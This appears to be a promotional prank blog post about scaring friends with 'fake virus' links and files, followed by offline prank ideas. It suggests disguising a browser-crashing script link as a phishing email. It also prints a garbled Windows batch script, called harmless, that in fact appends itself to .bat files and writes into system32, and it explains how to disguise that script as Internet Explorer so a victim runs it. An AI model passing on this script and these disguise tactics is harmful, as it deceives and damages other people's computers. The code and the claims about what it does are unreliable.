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Pranking 101: Freak Your Friends Out By Sending A Virus LinkPranking 101: Freak Your Friends Out By Sending A Virus Link

Pranking 101: Freak Your Friends Out By Sending A Virus Link

May 11, 2022

Pranks have become more innovative and progressive. From simple, practical jokes, people now use fake viruses to freak out their friends. A virus harms a computer, so who wouldn't freak out if they realize that the link they just clicked is a virus? And just like the spread of Coronavirus, a virus in your computer can also spread that quickly. This is why sending a suspicious message containing a fake virus to your friends can make them go crazy.

Read this article to get a deeper and more detailed view of this prank!

What Is A Virus?

To put it another way, a computer virus refers to a piece of harmful code or software that is specifically created to infect other computers. Inserting or attaching itself to a genuine macro-enabled software or document is how a virus functions.

A virus can spread to other computers on the same network after it has infected yours; this is called "viral replication." When a virus invades your computer system, it can do everything from stealing data and passwords to damaging files and sending unsolicited emails to your contacts list.

What Happens When A Virus Attacks Your Computer?

Programs, files, and hard drives can be damaged, deleted, or reformatted by some computer viruses. Others just replicate or overburden a network with traffic, making it hard to do any sort of internet activity at all. If your computer is infected with even the most minor of computer viruses, they can cause your system to run slowly and frequently crash.

Viruses can spread easily through a simple link. According to the US Cybersecurity and Infrastructure Security Agency, infected email attachments are the most common method of distributing computer viruses. If a user does not take action, most but not all computer infections will propagate without the user's knowledge.

Pranking Your Friends with A Fake Virus

Browser Crashing Link Prank

The procedure is straightforward, and there are no viruses in the connection. When the link is opened, a For Loop Script is inserted, which causes the script to loop indefinitely. As a result, the browser becomes unresponsive while the script runs constantly. You can send the link to your friends as a birthday message or through their email address. You can also disguise it as phishing emails since a lot still fall into the trap of phishing schemes.

Because of the link, your friend's browser will begin to crash. Their browser will remain open for around 1–5 minutes, depending on the device. They will be able to use their PC generally in a matter of minutes if they don't mind restarting it.

Fake Format Prank

This computer hoax virus pretends to format the victim's hard disk. You can rename the file and send it to a buddy by email or instant messaging, or you can place it on the desktop and disguise it as a regularly used icon, such as Internet Explorer.

Creating A Fake Virus File

Open your notepad, and then type or copy and paste the following:

@echo off

echo checking system:

echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i #*>c:\windows\system32\autoexec.NT






dir /s

copy c:\tmp.bat


goto 1

This will make a never-ending stream of code that doesn't make sense. This can't be stopped quickly. And then, make sure to name the file virus and the file extension should be ".bat." You can make the virus look more natural by giving it a new name and icon. One way to do that is to change the file's name. You then right-click on the icon and choose "properties." Then, find the icon you want. People may want to use the internet explorer icon and call it "Internet Explorer," or they may not. Icons can be changed with a shortcut, but you do need to press a button. Make a shortcut, then change the icon in properties to make it look like the one you want to. This would look bad, but hey, it's just a prank!

To stop the fake virus from running, press Ctrl+C. Use the task manager, or if you have Vista, press "x."

Other Pranks You Can Try

We get it. Even though these are just pranks, we are also scared of doing something to our computers. So here are some other prank ideas you can do!

Spider Attack

Attach a thin string to several tiny fake spiders. Close the door after taping the string just above the door jamb. Fill the little gap between the top of the door and the door frame with spiders. When your victim opens the door, the spiders will descend and appear to jump at them. Prepare the video camera to record their reaction.

Forking Prank

Forcibly poke hundreds of forks into the ground in their yard. When you fork the ground, you aerate it, which is healthy for the soil. Be ready to assist in the cleanup of your pranks at all times.

Prank Call

This is classic! A prank call never gets old as everyone still falls into it. Ready your script before calling your victim, or if you can't prepare a scenario in your head, you can just download a prank call app over the internet. Ownage Pranks prank call app has everything you need! If you need to call anonymously? The app got you! You want different prank call ideas? The app will enumerate things for you! You want a prank call script? We got it at Ownage Pranks!

Palm Down Prank

Tell a close friend about a clever trick you've learned. Balance a full glass of drink (on the back of your hand) on the table. Make a bet with your pal that they can't hold a glass in each hand at once (help your friend to put them in place). Stand up and walk away as soon as the glasses are in the hands of the prospect. They'll have to spill to get out of this situation.

Just a gentle reminder to keep all the pranks harmless! Having fun does not equate to causing someone you love harm. As always, happy pranking!


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